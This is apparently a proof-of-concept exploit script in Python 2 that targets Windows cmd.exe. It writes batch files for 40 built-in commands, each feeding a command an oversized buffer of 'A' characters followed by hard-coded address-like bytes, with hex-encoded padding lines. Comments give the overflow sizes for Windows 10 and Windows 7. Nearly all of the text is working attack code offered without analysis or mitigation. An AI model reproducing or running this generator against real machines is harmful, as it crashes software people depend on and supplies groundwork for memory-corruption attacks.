Microsoft Windows 10 'cmd.exe' buffer overflow crashed

# Microsoft Windows - 'cmd.exe'
# Author: bin00001011
command=["ASSOC","BREAK","CALL","CD","CHDIR","CLS","COLOR",
         "COPY","DATE","DEL","DIR","ECHO","ENDLOCAL","ERASE",
         "EXIT","FTYPE","GOTO","MD","MKDIR","MKLINK","MOVE",
         "PATH","PAUSE","POPD","PROMPT","PUSHD","RD","REN",
         "RENAME","RMDIR","SET","SETLOCAL","SHIFT","START",
         "TIME","TITLE","TYPE","VER","VERIFY","VOL"]
print  len(command) ,'file'
for i, val in enumerate(command):
    #8193 size / win10
    #20100 size /win7 virtualbox
    buf1 = "\x41" *8193
    conti="\n"+"\x3a\x6e\x6f\x74\x73\x75\x70\x70\x6f\x72\x74\x65\x64\n"+"\x3a\x68\x69\x74\n"+"\x70\x61\x75\x73\x65\n"
    do='"'
    comman="\x40\x65\x63\x68\x6f\x20\x6f\x66\x66\n"+val+' '+ do+buf1+'\xAC\xD6\x46\x74'+"\x42\x43"*1000+'\x35\x95\x24\x00'+"\x41\x95\x24\x00"+do+'\n'+conti
    file=open(str(val)+'.cmd','w')
    file.write(comman)
    file.close()
    print "[ok]  ------------->"+val